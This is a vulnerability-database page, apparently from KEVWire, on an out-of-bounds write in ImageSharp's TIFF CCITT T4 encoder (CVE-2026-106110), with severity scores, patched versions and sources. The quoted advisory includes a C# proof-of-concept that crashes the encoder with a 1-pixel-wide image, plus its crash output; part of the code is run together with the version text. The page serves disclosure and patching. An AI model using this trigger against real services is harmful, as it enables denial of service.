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Response snapshot Oct 27, 2026, 02:11 UTC

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VulnerabilityCVE-2026-106110

ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer

ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process. This report concerns only the T4 `CcittGroup3Fax` encoder path.

Published Updated

At a glance

Exploited
Not known
Severity
7.5 High (CVSS 3.1)
Chance of exploitation
0.4% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-j9gm-c75j-xc9q (opens a new tab)

What happened

### Summary

ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.

This report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.

### Affected package and versions

Continue reading

- Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, 0 ? args[0] : "exploit"; int width = mode == "control" ? 64 : 1; int height = args.Length > 1 ? int.Parse(args[1]) : 2000;

Console.WriteLine($"mode={mode} width={width} height={height}"); using var image = new Image (width, height); for (int y = 0; y < image.Height; y++) for (int x = 0; x < image.Width; x++) image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));

var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); metadata.BitsPerPixel = TiffBitsPerPixel.Bit1; metadata.Compression = TiffCompression.CcittGroup3Fax;

using var output = new MemoryStream(); image.Save(output, new TiffEncoder()); Console.WriteLine($"Encoded OK: {output.Length} bytes"); ```

Against the published 4.1.1 package, this produced:

```text mode=exploit width=1 height=2000 Fatal error. System.AccessViolationException: Attempted to read or write protected memory. at ...TiffCcittCompressor.GetWhiteTermCode(...) at ...T4BitCompressor.CompressStrip(...) ```

A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:

```text mode=control width=64 height=2000 Encoded OK: 76230 bytes ```

The direct public configuration path also triggers with:

```csharp new TiffEncoder { BitsPerPixel = TiffBitsPerPixel.Bit1, Compression = TiffCompression.CcittGroup3Fax }; ```

Affected package ranges reported by GitHub: SixLabors.ImageSharp: >= 2.0.0, < 3.2.0 SixLabors.ImageSharp: >= 4.0.0, < 4.1.2

Scores and how they were measured

CVSS base severity

7.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.4%

Scored Percentile 32.4%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-j9gm-c75j-xc9q (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j9gm-c75j-xc9q, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-106110, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 26). ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer (CVE-2026-106110). https://kevwire.com/record/CVE-2026-106110

MLA

"ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer (CVE-2026-106110)." KEVWire, 26 Oct. 2026, kevwire.com/record/CVE-2026-106110.

Chicago

KEVWire. "ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer (CVE-2026-106110)." Last modified October 26, 2026. https://kevwire.com/record/CVE-2026-106110.

Evidence summary (plain text)

ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer (Oct 7, 2026).
ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.

This report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-j9gm-c75j-xc9q).
EPSS 0.4% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106110&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-j9gm-c75j-xc9q: https://github.com/advisories/GHSA-j9gm-c75j-xc9q
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106110&date=2026-10-26
Record ID: CVE-2026-106110.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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Record details

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